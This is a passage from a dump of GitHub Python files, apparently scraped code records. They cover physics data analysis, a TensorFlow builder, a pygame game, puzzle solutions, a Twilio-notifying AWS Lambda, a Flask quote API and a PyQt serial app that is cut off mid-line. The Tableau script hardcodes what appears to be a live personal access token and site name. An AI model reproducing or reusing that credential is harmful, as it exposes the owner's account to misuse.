print(permuate(nums))\n\n\n","repo_name":"ficherfisher/leetcode","sub_path":"PermutationsV2.py","file_name":"PermutationsV2.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"4613442554","text":"import matplotlib.pyplot as plt\nimport scipy.io as scio\nimport numpy as np\nfrom scipy.fftpack import *\nfrom matplotlib.animation import FuncAnimation\n\n\"\"\"\nThis module is designed to work for soliton data process.\nThe system is scaler now. May we will develop tools for more complex situation in the future.\nData should match the structure used in XiaoQuan's code.\nThis module may help user to do some calculation, load data and draw some data.\n\nOriginal Version\n2021.06.01\nRichard\n\"\"\"\n\nx_max = 160.0\nx_len = 4096\ndt = 0.1\ndx = 2*x_max/x_len\nsuffix = \"_norm\" #This variable is useful when we want to save multi-file. user can set suffix by him/herself\nomega = 0.06\n\n\n\n\ndef load_data(data_file,name=\"dmat\"):\n data = scio.loadmat(data_file)[name]\n print(\"The shape of data is: \",data.shape)\n\n return data\n\n\ndef load_ground(data_file):\n ground_data = scio.loadmat(data_file)[\"psip\"]\n\n return ground_data\n\n\n\n\ndef convert_to_density(data):\n \"\"\"\n The data may be the Complex wave function, using convert_to_density will return the density distribution.\n \"\"\"\n dim = len(data.shape)\n if dim == 1:\n density = []\n for i in range(len(data)):\n density.append((np.abs(data[i])**2))\n density = np.array(density)\n\n elif dim == 2:\n density = np.zeros(data.shape)\n for i in range(data.shape[0]):\n for j in range(data.shape[1]):\n density[i,j] = np.abs(data[i,j])**2\n\n else :\n print(\"The structure of input mat has some probelm, please check! nparray type data is expected, and the dimension should not exceed 2.\")\n\n\n return density\n\n\n\n\n\n\ndef find_the_vortex(u,pre_index,bound=0):\n vortex_position = pre_index\n while u[vortex_position+1]= len(u)-1-bound or vortex_position <= bound:\n vortex_position = 1+bound\n break\n\n return vortex_position\n\n\ndef mass_center(u):\n weight = 0.0\n position = 0.0\n for i in range(len(u)):\n position = position + u[i]*i\n weight = weight + u[i]\n\n return position/weight\n\n\n\n\ndef soliton_move(data,ground_data,interval=5,pre_position=512):\n \"\"\"\n This function will find the velocity of soliton moving in scaler BEC.\n The return datas are:\n 1. position 2.depth of soliton\n 3.velocity of soliton moving\n \n The input data should be density of wave function. Not Complex data.\n The time interval may be too small, so we ignore some media data and the interval is the time index difference.\n \"\"\"\n\n\n position_set = []\n depth_set = []\n for i in range(len(data)):\n pos = find_the_vortex(data[i],pre_position)\n position_set.append(pos)\n depth_set.append(ground_data[pos]-data[i,pos])\n pre_position = pos\n\n\n velocity = []\n for i in range(len(position_set)//interval - 1):\n velocity.append((position_set[(i+1)*interval]-position_set[i*interval])/(dt*interval))\n\n return np.array(position_set),np.array(depth_set),np.array(velocity)*dx\n\n\n\n\n\n\ndef soliton_energy(data,ground,average=True):\n \n\n \"\"\"\n This function can be used to calculate the Energy of soliton. Both the ground data and the exicited data should be given.\n \n The return datas are:\n 1. The total energy of the soliton\n 2. The kinetic energy of the soliton\n 3. The Potential energy of the soliton\n 4. The interaction energy of the soliton\n\n If the average is True, the return will be the average. If false, will be time-dependent.\n \n\n Noticing! The data shounld be wavefunction, not density.\n\n\n \"\"\"\n\n ground_kinetic = 0.0\n\n for i in range(len(ground)-1):\n ground_kinetic = ground_kinetic + np.abs(ground[i+1]-ground[i])**2/dx**2\n\n ground_interaction = 0.0\n for i in range(len(ground)):\n ground_interaction = ground_interaction + 0.5*np.abs(ground[i])**4\n\n\n\n\n\n data_visual = np.zeros((len(data),len(data[0])-1))\n data_kinetic = np.zeros(len(data))\n kine_ground = np.zeros(len(data))+ground_kinetic\n\n\n\n ground_num = 0.0\n for i in range(len(ground)):\n ground_num = ground_num + np.abs(ground[i])**2\n\n\n\n\n pot_func = np.zeros(len(data[0]))\n for i in range(x_len):\n pot_func[i] = ((float(i)*dx-x_max)**2)*(omega**2)/2\n\n ground_potential = 0.0\n\n for i in range(len(ground)):\n ground_potential = ground_potential + pot_func[i]*np.abs(ground[i])**2\n\n\n\n\n\n interaction_energy = np.zeros(len(data))\n total_energy = np.zeros(len(data))\n Pot_energy = np.zeros(len(data))\n norm_check = np.zeros(len(data))\n \n\n\n\n\n\n\n for i in range(len(data)):\n potential = 0.0\n inter_energy = 0.0\n num = 0.0\n for j in range(len(data[0])):\n potential = potential + pot_func[j]*(np.abs(data[i][j])**2)\n inter_energy = inter_energy + abs(data[i,j])**4/2.0\n\n num = num+abs(data[i,j])**2\n for j in range(len(data[0])-1):\n data_visual[i,j] = (abs(data[i,j+1]-data[i,j])**2)/(dx**2)/2.0\n\n data_kinetic[i] = sum(data_visual[i])\n interaction_energy[i] = inter_energy\n Pot_energy[i] = potential\n norm_check[i] = num\n\n total_energy[i] = data_kinetic[i]+interaction_energy[i]+Pot_energy[i]\n\n factor = norm_check[0]/ground_num\n total_ground = factor*ground_potential + factor*kine_ground+(factor**2)*ground_interaction\n print(total_ground)\n\n if average == True:\n total_energy = sum(total_energy)/len(total_energy)\n kinetic = sum(data_kinetic)/len(data_kinetic)\n Pot_energy = sum(Pot_energy)/len(Pot_energy)\n inter_energy = sum(interaction_energy)/len(interaction_energy)\n return total_energy,kinetic,Pot_energy,inter_energy\n\n else :\n return total_energy,data_kinetic,Pot_energy,interaction_energy\n\n\n\ndef iner_pro(data,fit):\n N = min([len(data),len(fit)])\n res = 0.0\n for i in np.arange(N):\n res = res+data[i]*fit[i]\n\n return res/N\n\n\n\ndef cos_fit(dev,ave,omega,t_range):\n return -dev*np.cos(t_range*omega)\n\ndef cos_fit_p(dev,ave,omega,t_range):\n return dev*np.cos(t_range*omega)\n\n\n\ndef circular_fit(data,t_range,omega_mat):\n ave = sum(data)/len(data)\n dev = (max(data)-min(data))/2\n\n fit_mat = []\n\n for i in omega_mat:\n fit_mat.append(iner_pro(np.array(data)-ave,cos_fit(dev,ave,i,t_range)))\n\n return fit_mat\n \n \ndef circular_fit_p(data,t_range,omega_mat):\n ave = sum(data)/len(data)\n dev = (max(data)-min(data))/2\n\n fit_mat = []\n\n for i in omega_mat:\n fit_mat.append(iner_pro(np.array(data)-ave,cos_fit_p(dev,ave,i,t_range)))\n\n return fit_mat\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"jiangnan6biguo/soliton","sub_path":"soliton_lib.py","file_name":"soliton_lib.py","file_ext":"py","file_size_in_byte":6924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7379273656","text":"\nimport numpy as np\nimport tensorflow as tf\n\nfrom .Specifications.Graph import Graph\n\n# Each layer type must be separated by '_', the type is at the beginning in all caps\n# Each layer type can have a name enclosed by brackets '(FooBar42)'\n# Each layer type can be constituted by multiple layers, each of *n* hidden units separated by '-'\n# Each layer must have an activation function indicated by 't'anh, 'r'elu, 's'igmoid, 'i'dentity\n# Each layer type can have arguments at the end separated by '-', must be separated by layers by '!'\n\n# N.B.\n# There are special layers types that can accept only arguments as parameters. They start with '*'.\n\n# e.g.\n# '*FLATFEAT(pippo)_FC(pluto)128t-64l_*DP(paperino)!0.5_*CLASSIF(out)'\n\nclass Builder(object):\n\n def __init__(self, init_std):\n super(Builder, self).__init__()\n\n self.init_std = init_std\n\n self.placeholders = {}\n self._graph_specs = []\n self._graph_name_idx = {}\n\n def add_placeholder(self, dtype, shape, name):\n if name not in self.placeholders.keys():\n with tf.variable_scope('Inputs/'):\n plc = tf.placeholder(dtype, shape, name)\n self.placeholders[name] = plc\n return plc\n else:\n raise Exception('Placeholder \\'%s\\' already exists' % name)\n\n def add_specification(self, name, spec_str, input_name, target_name):\n if name not in self._graph_name_idx.keys():\n graph_spec = Graph(name, spec_str, input_name, target_name)\n self._graph_specs.append(graph_spec)\n self._graph_name_idx[name] = len(self._graph_specs) - 1\n return graph_spec\n else:\n raise Exception('Graph specification \\'%s\\' already exists' % name)\n\n def get_specification(self, name):\n return self._graph_specs[self._graph_name_idx[name]]\n\n def get_all_specifications(self):\n return self._graph_specs\n\n def build_model(self, build_order=None):\n if build_order is None:\n build_order = list(range(len(self._graph_specs)))\n else:\n build_order = [self._graph_name_idx[n] for n in build_order]\n\n for i in build_order:\n graph = self._graph_specs[i]\n\n if type(graph.input_name) is list:\n in_tensor = list(map(lambda x: self._get_tensor(x), graph.input_name))\n else:\n in_tensor = self._get_tensor(graph.input_name)\n\n if graph.target_name in self.placeholders:\n trg_tensor = self.placeholders[graph.target_name]\n else:\n trg_tensor = None\n\n graph.build(in_tensor, trg_tensor, self.init_std)\n\n def restore_model(self, path):\n tf.reset_default_graph()\n saver = tf.train.import_meta_graph(path + '/graph.meta')\n\n plc_names = [ op.name for op in tf.get_default_graph().get_operations() if op.type == \"Placeholder\"]\n self.placeholders = {x.replace('Inputs/',''):self._get_tensor(x) for x in plc_names}\n\n return saver\n\n def _get_tensor(self, name):\n if name in self.placeholders:\n return self.placeholders[name]\n else:\n return tf.get_default_graph().get_tensor_by_name(name + ':0')\n","repo_name":"ascarrambad/lipreading","sub_path":"Model/Builder.py","file_name":"Builder.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30465372828","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport config\nimport game\nimport d2gui\n\nimport pygame\nimport pygame.image\nimport pygame.font\nimport pygame.draw\n\n\nclass Tools(pygame.Surface):\n def __init__(self):\n import config.resource\n pygame.Surface.__init__(self, (100, 100))\n self.font = pygame.font.SysFont(\"monospace\", 15)\n self.aqueducts = [None for i in range(0, 6)]\n self.selected_id = 0\n self.rect = pygame.Rect(800, 600, 100, 100)\n self.gold = pygame.image.load(config.resource.GOLD)\n\n def draw_aqueduct(self, level):\n self.aqueducts = [level.get_random_aqueduct() for i in range(0, 6)]\n\n def tool_pos(self, id):\n return (id % 3) * 32, int(id / 3) * 32 + 32\n\n def update_cash(self, cash):\n label = self.font.render(str(cash), True, (0, 185, 0))\n\n self.fill(pygame.Color(196, 196, 196))\n self.blit(self.gold, (0, 0))\n self.blit(label, (32, 0))\n\n for i, a in enumerate(self.aqueducts):\n self.blit(a.image, self.tool_pos(i))\n pygame.draw.rect(self, pygame.Color(0, 185, 0), pygame.Rect(self.tool_pos(self.selected_id), (32, 32)), 1)\n\n def draw_tools(self):\n screen = pygame.display.get_surface()\n screen.blit(self, (800, 600))\n \n def active_tool(self):\n return self.aqueducts[self.selected_id]\n\n\nclass GUI(d2gui.GUI):\n def __init__(self):\n d2gui.GUI.__init__(self, config.config[\"window\"])\n\n self.show_logo()\n\n self.tool_panel = Tools()\n\n def show_logo(self):\n import config.resource\n screen = pygame.display.get_surface()\n logo = pygame.image.load(config.resource.LOGO)\n screen.blit(logo, (0, 0))\n\n def show_level(self, level_id):\n font = pygame.font.SysFont(\"monospace\", 100)\n label = font.render(str(level_id), True, (0, 185, 0))\n\n import config.resource\n screen = pygame.display.get_surface()\n logo = pygame.image.load(config.resource.LOGO)\n screen.blit(logo, (0, 0))\n screen.blit(label, (512, 384))\n\n def run_game(self):\n import d2game\n if self.game.state == d2game.STATE_START:\n self.game.run()\n self.tool_panel.draw_aqueduct(self.game.level)\n return True\n return False\n\n def draw_cash(self):\n self.tool_panel.update_cash(self.game.cash)\n self.tool_panel.draw_tools()\n\n def draw(self):\n import d2game\n d2gui.GUI.draw(self)\n if self.game.state == d2game.STATE_RUNNING:\n self.draw_cash()\n\n def autocash(self):\n self.game.cash += self.game.level.wages()\n self.game.turn()\n # self.draw_background()\n # self.update()\n \n def process_event(self, event):\n d2gui.GUI.process_event(self, event)\n if event.type == game.AUTOCASH_EVENT:\n self.autocash()\n\n def key_event(self, key, down):\n if self.run_game():\n return 0\n\n d2gui.GUI.key_event(self, key, down)\n\n def mouse_event(self, mouse_pos):\n if self.run_game():\n return 0\n\n import logging\n logging.debug(\"Mouse is at %s\", str(mouse_pos))\n\n if self.tool_panel.rect.collidepoint(mouse_pos):\n logging.debug(\"Got panel\")\n x = (mouse_pos[0] - self.tool_panel.rect.x) / 32\n y = (mouse_pos[1] - self.tool_panel.rect.y - 32) / 32\n tool_id = int(y) * 3 + int(x)\n if tool_id < 6:\n self.tool_panel.selected_id = tool_id\n self.draw_cash()\n return 0\n\n import d2game.location\n clicked = [s for s in self.game.level.entities if s.rect.collidepoint(mouse_pos)]\n for c in clicked:\n if isinstance(c, d2game.location.Location):\n if self.game.can_build(c):\n self.game.cash -= 10\n a = self.game.level.set_aqueduct(c, self.tool_panel.active_tool())\n self.tool_panel.draw_aqueduct(self.game.level)\n logging.debug(clicked)\n","repo_name":"FireballGames/aqueduct","sub_path":"src/game/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":4067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42664522892","text":"# This is a sample Python script.\n\n# Press Shift+F10 to execute it or replace it with your code.\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\nimport queue\nimport time\nimport llist\nfrom collections import Counter, deque\n\nimport pandas as pd\nfrom utils import aoc_helper as helper\nimport utils.aoc_types as types\nimport numpy as np\nimport sympy\nimport itertools\nimport re\nimport copy as cc\nfrom functools import reduce\nfrom itertools import permutations, combinations, chain, product\n\ndef getNext(current, game):\n return current.next if current.next is not None else game[\"content\"].head\n\n\ndef playRoundInGame(game, maxCandidates):\n current = game[\"current\"]\n first = getNext(current, game)\n second = getNext(first, game)\n third = getNext(second, game)\n threeSet = {element.data for element in [first, second, third]}\n current.next = getNext(third, game)\n maxi = max(maxCandidates.difference(threeSet))\n candidates = set([current.data - idx for idx in range(1, 5) if current.data - idx > 0]).difference(threeSet)\n destinationData = max(candidates) if len(candidates) > 0 else maxi\n destination = game[\"content\"][destinationData]\n third.next = destination.next\n destination.next = first\n game[\"current\"] = getNext(current, game)\n\n\n\ndef secondExercise(game, length):\n count = 0\n maxi = max(game[\"content\"].map.values())\n maxCandidates = set([maxi.data - idx for idx in range(0, 4)])\n while count < length:\n playRoundInGame(game, maxCandidates)\n count += 1\n\n\ndef calculate():\n # Use a breakpoint in the code line below to debug your script.\n content = [int(element) for element in list(\"739862541\")]\n game = {}\n game[\"content\"] = types.LinkedList(content)\n game[\"current\"] = game[\"content\"].head\n secondExercise(game, 100)\n print(\"Part 1: \" + str(list(game[\"content\"])))\n\n # Part 2\n t = time.process_time()\n lst = [element for element in content] + [idx for idx in range(len(content) + 1, 1000001)]\n game2 = {}\n game2[\"content\"] = types.LinkedList(lst)\n game2[\"current\"] = game2[\"content\"].head\n secondExercise(game2, 10000000)\n one = game2[\"content\"][1]\n print(\"Part 2: \" + str(one.next.data * one.next.next.data))\n elapsed_time = time.process_time() - t\n print(str(elapsed_time))\n hhd = \"\"\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n calculate()\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","repo_name":"mstaal/AoC","sub_path":"2020/dec23.py","file_name":"dec23.py","file_ext":"py","file_size_in_byte":2531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16741678927","text":"import json\nimport boto3\nfrom twilio.rest import Client\n\n# Set up the Twilio client\naccount_sid = 'YOUR_ACCOUNT_SID'\nauth_token = 'YOUR_AUTH_TOKEN'\nclient = Client(account_sid, auth_token)\n\n# Define the Lambda function\ndef lambda_handler(event, context):\n # Get the S3 bucket and object key from the event\n s3 = boto3.client('s3')\n bucket = event['Records'][0]['s3']['bucket']['name']\n key = event['Records'][0]['s3']['object']['key']\n \n # Send a WhatsApp message with Twilio\n message = client.messages.create(\n body='A new file was added to the S3 bucket',\n from_='whatsapp:+14155238886',\n to='whatsapp:+WHATSAPP_NUMBER'\n )\n \n # Print the message SID for reference\n print(message.sid)\n","repo_name":"eugenio114/automated_messages","sub_path":"lambda_whatsapp_notification.py","file_name":"lambda_whatsapp_notification.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8146832943","text":"# class TwoSum:\n# def __init__(self):\n# self.li = list()\n# self.searchEnd = 0\n# self.found = False\n#\n# def add(self, i):\n# if self.find(i) is not None:\n# return\n# else:\n# self.li.insert(self.searchEnd, i)\n#\n# def find(self, v):\n# result = self.bsearch(0, len(self.li), v)\n# if self.found:\n# return result\n# else:\n# return None\n#\n# def bsearch(self, s, e, target):\n# if s == e:\n# self.searchEnd = s\n# self.found = False\n# return None\n# mid = int((e + s) / 2)\n#\n# if self.li[mid] != target:\n# if self.li[mid] > target:\n# self.found = True\n# return self.bsearch(s, mid, target)\n# else:\n# self.found = True\n# return self.bsearch(mid + 1, e, target)\n# else:\n# return mid\n\n\nclass TwoSum:\n def __init__(self):\n self.li = list()\n self.lookUp = {}\n\n def add(self, i):\n self.li.append(i)\n if len(self.li) > 1:\n self.updateTB(i)\n\n def find(self, target):\n return self.lookUp.get(target)\n\n def updateTB(self, i):\n iIndex = len(self.li) - 1\n for index, origin in enumerate(self.li[:-1]): # don't calc the last element\n v = origin + i\n if self.lookUp.get(v) is None:\n self.lookUp[v] = [(index, iIndex)]\n else:\n self.lookUp.get(v).append((index, iIndex))\n\n\ntest = TwoSum()\ntest.add(12)\ntest.add(12)\nprint(test.find(24))\n","repo_name":"wayne-liberty/leetCode","sub_path":"Two Sum III.py","file_name":"Two Sum III.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"771468956","text":"def hannoi_towers(disk, source, receiver, storage):\n if disk <= 0:\n return\n hannoi_towers(disk - 1, source, storage, receiver)\n print(\"Переложить диск\", disk, \"со стержня номер\", source, \"на стержень номер\", receiver)\n hannoi_towers(disk - 1, storage, receiver, source)\n\n\ndisks_quantity = int(input('Введите количество дисков: '))\nhannoi_towers(disks_quantity, '1', '3', '2')\n","repo_name":"thekiralog/skillbox_copied","sub_path":"Module21/09_hanoi_towers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19991973561","text":"import tableauserverclient as TSC\nfrom tableauhyperapi import HyperProcess, Telemetry, Connection, CreateMode, TableDefinition, Inserter\\\n , SqlType, TableName\n\nserver_url = 'https://10ax.online.tableau.com'\nsite = 'jharriscohdev372485'\npat = 'xNjZ7qg6QHW09lslrXUaTQ==:5Jjse8buJ7BwpzQffsilHbrSt7N7iZ0K'\npat_name = 'JeremyDevPAT'\ntableau_auth = TSC.PersonalAccessTokenAuth(token_name=pat_name, personal_access_token=pat, site_id=site)\nserver = TSC.Server(server_url, use_server_version=True)\n\ndef getWorkbooks():\n server.auth.sign_in(tableau_auth)\n result = server.workbooks.get()\n server.auth.sign_out()\n\n wbs, pagination_item = result\n\n return wbs\n\ndef getUserInfo(uid):\n server.auth.sign_in(tableau_auth)\n result = server.users.get_by_id(uid)\n server.auth.sign_out()\n\n return result\n\ndef parseData():\n wbs = [{\"workbook\": wb, \"owner\": getUserInfo(wb.owner_id)} for wb in getWorkbooks()]\n dict = [{\"workbook_id\": wb['workbook'].id,\n \"workbook_name\": wb['workbook'].name,\n \"project_name\": wb['workbook'].project_name,\n \"owner_id\": wb['owner'].id,\n \"owner_name\": wb['owner'].name,\n \"owner_full_name\": wb['owner'].fullname} for wb in wbs]\n\n cols = list(dict[0].keys())\n data = [list(row.values()) for row in dict]\n\n return {\"cols\": cols, \"data\": data}\n\ndef createHyperFile():\n dict = parseData()\n file = \"/Users/jharris/Desktop/workbookUsers.hyper\"\n cols = dict['cols']\n data = dict['data']\n\n with HyperProcess(telemetry=Telemetry.DO_NOT_SEND_USAGE_DATA_TO_TABLEAU) as hyper:\n with Connection(hyper.endpoint, file, CreateMode.CREATE_AND_REPLACE) as connection:\n connection.catalog.create_schema('Extract')\n\n table = TableDefinition(TableName('Extract', 'Extract'), [\n TableDefinition.Column(col, SqlType.text())\n for col in cols\n ])\n\n connection.catalog.create_table(table)\n\n with Inserter(connection, table) as inserter:\n inserter.add_rows(rows=data)\n inserter.execute()\n\ndef main():\n createHyperFile()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jharris126/TableauDataDevChallenges","sub_path":"Week2-A&I-Level2/getWorkbookUsers.py","file_name":"getWorkbookUsers.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"19250545081","text":"# @app.post('/search')\ndef printShortestDistance(s, dest):\n\tv=3000\n\tfilename='/Users/lixuecheng/Desktop/good/file/filename.csv'\n\t# 对坐标进行更新,使其匹配到对应的坐标上\n\ts=get_pos(filename, s)\n\tdest=get_pos(filename, dest)\n\n\n\tpred=[0 for i in range(v)]\n\tdist=[0 for i in range(v)]\n\n\tif (BFS(adj, s, dest, v, pred, dist) == False):\n\t\tprint(\"wrong message\",\"Given source and destination are not connected\")\n\n\t# vector path stores the shortest path\n\tpath = []\n\tcrawl = dest;\n\tcrawl = dest;\n\tpath.append(crawl);\n\tindex=[]\n\n\twhile (pred[crawl] != -1):\n\t\tpath.append(pred[crawl]);\n\t\tcrawl = pred[crawl];\n\tfor i in range(len(path)-1, -1, -1):\n\t\t# print(path[i], end=' ')\n\t\tindex.append(path[i])\n\n\t# 获得对应的坐标\n\tresult=get_lat_lon(index,pos_filename=filename)\n\treturn {\"路径是\":result}\n\n# @app.post('/new')\ndef new(point):\n\tv=3000\n\tfilename='/Users/lixuecheng/Desktop/good/file/filename.csv'\n\tall_path=[]\n\tfor n_pos in range(len(point)-1):\n\n\t# 对坐标进行更新,使其匹配到对应的坐标上\n\t\ts=point[n_pos]\n\t\tdest=point[n_pos+1]\n\n\t\ts=get_pos(filename, s)\n\t\tdest=get_pos(filename, dest)\n\n\t\tpred=[0 for i in range(v)]\n\t\tdist=[0 for i in range(v)]\n\n\t\tif (BFS(adj, s, dest, v, pred, dist) == False):\n\t\t\tprint(\"wrong message\",\"Given source and destination are not connected\")\n\n\t\telse:\n\t\t\tpath = []\n\t\t\tcrawl = dest;\n\t\t\tcrawl = dest;\n\t\t\tpath.append(crawl);\n\t\t\tindex=[]\n\n\t\t\twhile (pred[crawl] != -1):\n\t\t\t\tpath.append(pred[crawl]);\n\t\t\t\tcrawl = pred[crawl];\n\t\t\tfor i in range(len(path)-1, -1, -1):\n\t\t\t\tindex.append(path[i])\n\t\tall_path.append(index)\n\t\tmerge=sum(all_path,[])\n\n\t\t# 删除列表中多余的元素\n\t\tindex_final=[]\n\t\tfor i in merge:\n\t\t\tif i not in index_final:\n\t\t\t\tindex_final.append(i)\n\t\t# 最短路径\n\t\tresult=get_lat_lon(index_final,pos_filename=filename)\n\treturn {\"index\":result}","repo_name":"xuecheng990531/PathSearch","sub_path":"tools/remain_of_main.py","file_name":"remain_of_main.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5310195665","text":"\nclass Bank():\n def __init__(self, balance):\n self.balance = balance\n self.minimum_withdraw = 100\n self.max_withdraw = 100000\n\n def get_balance(self):\n return self.balance\n \n def deposit(self, amount):\n if(amount > 0):\n self.balance += amount\n \n def withdraw(self, amount):\n\n if amount < self.minimum_withdraw:\n print( f\"You can't withdraw bellow {self.minimum_withdraw}\")\n elif amount > self.max_withdraw:\n print(f\"You can't withdraw more than {self.max_withdraw}\")\n \n else:\n self.balance -= amount\n print(f\"You withdraw {amount} TK. Your balance after withdraw is {self.get_balance()}\")\n\n \n\nIBBL = Bank(150000)\nIBBL.withdraw(25)\nIBBL.get_balance()\nIBBL.deposit(10000)\nIBBL.withdraw(1000)\n\n\nIBBL.withdraw(5000000)\n","repo_name":"morsalin-islam335/Python_with_OOP","sub_path":"Weak_2/OOP with python/Bank_withdrawal.py","file_name":"Bank_withdrawal.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17377888132","text":"from flask import Flask, request, jsonify, flash\nimport sqlite3\nfrom rqdbase import * \n\napp = Flask(__name__)\napp.config[\"DEBUG\"] = True\n\n\ntestdata = [ {\"quote\":\"quote1\", \"topic\":\"topic1\" , \"authors\":[\"author1\",\"author2\"]},\n{\"quote\":\"quote2\", \"topic\":\"topic2\" , \"author\":\"author2\"},\n{\"quote\":\"quote3\", \"topic\":\"topic3\" , \"author\":\"author3\"},\n{\"quote\":\"quote4\", \"topic\":\"topic4\" , \"author\":\"author4\"},\n{\"quote\":\"quote5\", \"topic\":\"topic5\" , \"author\":\"author5\"}\n]\ntestdata2 = {\"content\":\"quote6\", \"topic\":\"topic6\" , \"author\":\"author6heeyoooo\"}\n\n@app.route(\"/\")\ndef homepage():\n return \"Welcome to Requote API\"\n\n@app.route(\"/quotes/all\",methods=[\"GET\"])\ndef allquotes():\n return jsonify(testdata)\n\n\n@app.route(\"/add/quote\",methods = [\"POST\"])\ndef addquote():\n request_data = request.get_json() # request a library which has get_json() method | request_data is a variable that I define to store the thing that get_json() method's serves\n # To see 'request_data's content | Remember it is a dictionary that converted from json to Python object (dict) by Flask \n print(request_data[\"content\"])\n print(request_data[\"topic\"])\n print(request_data[\"author\"])\n print(type(request_data)) # The type of request_data = 'dict'\n add_quote_db(request_data)\n return request_data[\"topic\"],\"Quote Added Successfuly\"\n \n\n@app.route(\"/delete/quote\",methods = [\"DELETE\"])\ndef deletequote():\n request_data = request.get_json()\n print(request_data)\n print(type(request_data))\n id = request_data[\"id\"]\n print(id)\n print(type(id))\n delete_quote_db(id)\n return str(request_data[\"id\"])\n\n\n@app.route(\"/update/quote\",methods = [\"UPDATE\"])\ndef updatequote():\n pass\n\n\n\n\n\n\napp.run()\n","repo_name":"Fiinall/Requote","sub_path":"rqapi.py","file_name":"rqapi.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8927909493","text":"#!./bin/python3.9\n#%%\n#all library imports\nimport platform\nimport joblib\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom keras.models import load_model\nfrom sklearn.pipeline import Pipeline\nimport sys\nimport time\nimport h5py\nimport scipy.interpolate as interpolation\nimport serial.tools.list_ports\n\n\nfrom PyQt5.QtWidgets import (\n QApplication,\n QLabel,\n QMainWindow,\n QPushButton,\n QHBoxLayout,\n QVBoxLayout,\n QWidget,\n QSizePolicy\n)\nfrom PyQt5 import QtCore\nfrom PyQt5.QtCore import (\n QThreadPool, \n QRunnable, \n pyqtSlot,\n Qt\n)\nimport pyqtgraph as pg\nfrom pyqtgraph import PlotWidget\nfrom pyqtgraph.functions import interpolateArray\nfrom serial import Serial\nimport numpy as np\nimport serial\nimport logging\nimport datetime as dt\nimport os\nfrom PyQt5.QtGui import QFont\n#%%\nN_SENSORS = 11\nTRANSMIT_BUFFER_SIZE = 2+2*N_SENSORS #initial A0 byte, ending C0 byte and each sensor has 2 bytes\nCONN_STATUS = False #no serial communication with microcontoller initially\nwindow_size = 1 #previous attempts were made with bigger windows: 10 -> 5 -> 4 -> 3 -> 1 with increasing performance for smaller windows\n#the rationale behind using more frames in time was to make the model more robust (feed more adjacient heatmaps in time) and also sensitive to \n#dynamics (movements between postures). But sitting is mainly a static task so making a prediction per frame is more accurate, guarantees online \n#prediciton (for each time point) and maintains performance with respect to the best window size different from 1 (3) \nlogging.basicConfig(format=\"%(message)s\", level=logging.INFO)\nclass SerialWorker(QRunnable):\n \"\"\"!\n @brief Main class for serial communication: handles connection with device.\n \"\"\"\n def __init__(self, serial_port_name):\n \"\"\"!\n @brief Init worker.\n \"\"\"\n self.is_killed = True #initialize \n super().__init__() \n\n self.port = serial.Serial()\n \n #contemplate 2 cases for interoperability:\n #working on Windows operative systems \n if (platform.system() == 'Windows'):\n self.port_name = str(serial_port_name)\n #or others (Mac or Linux)\n else: \n self.port_name = \"/dev/\"+ str(serial_port_name)\n self.baudrate = 115200 # hard coded since fixed at PSoC level (top design)\n self.serial_ports = [\n p.name\n for p in serial.tools.list_ports.comports() #scan com ports\n ]\n\n @pyqtSlot()\n def run(self,is_killed=True):\n \"\"\"!\n @brief Estabilish connection with desired serial port.\n \"\"\"\n global CONN_STATUS\n self.is_killed=is_killed\n if not CONN_STATUS: #do if not connected\n try:\n self.port = serial.Serial(port=self.port_name, baudrate=self.baudrate,\n write_timeout=0, timeout=2) #timeout is to not get stuck in port for a longer time than specified when scanning them \n if self.port.is_open:\n CONN_STATUS = True\n time.sleep(0.01) #allow time for responce by suspending execution of current thread\n except serial.SerialException: #for robustness (notify of error in connection)\n print(\"Error with port {}.\".format(self.port_name))\n time.sleep(0.01)\n\n\n @pyqtSlot()\n def send(self, char):\n \"\"\"!\n @brief Basic function to send a single char on serial port.\n \"\"\"\n try:\n self.port.write(char.encode('utf-8')) #used for device recognition (mutual)\n logging.info(\"Written {} on port {}.\".format(char, self.port_name))\n except: #notify of error in writing char to connected port\n logging.info(\"Could not write {} on port {}.\".format(char, self.port_name))\n\n @pyqtSlot()\n def killed(self):\n \"\"\"!\n @brief Close the serial port before closing the app.\n \"\"\"\n global CONN_STATUS\n self.is_killed=True\n if self.is_killed and CONN_STATUS:\n self.port.close() #close connection if it was running and if the port was opened\n time.sleep(0.01)\n CONN_STATUS = False #terminate connection with port\n logging.info(\"Killing the process\")\n @pyqtSlot()\n \n\n def search_port(self):\n for i in range(len(self.serial_ports)):\n try: #maintain interoperability between OSs\n if (platform.system() == 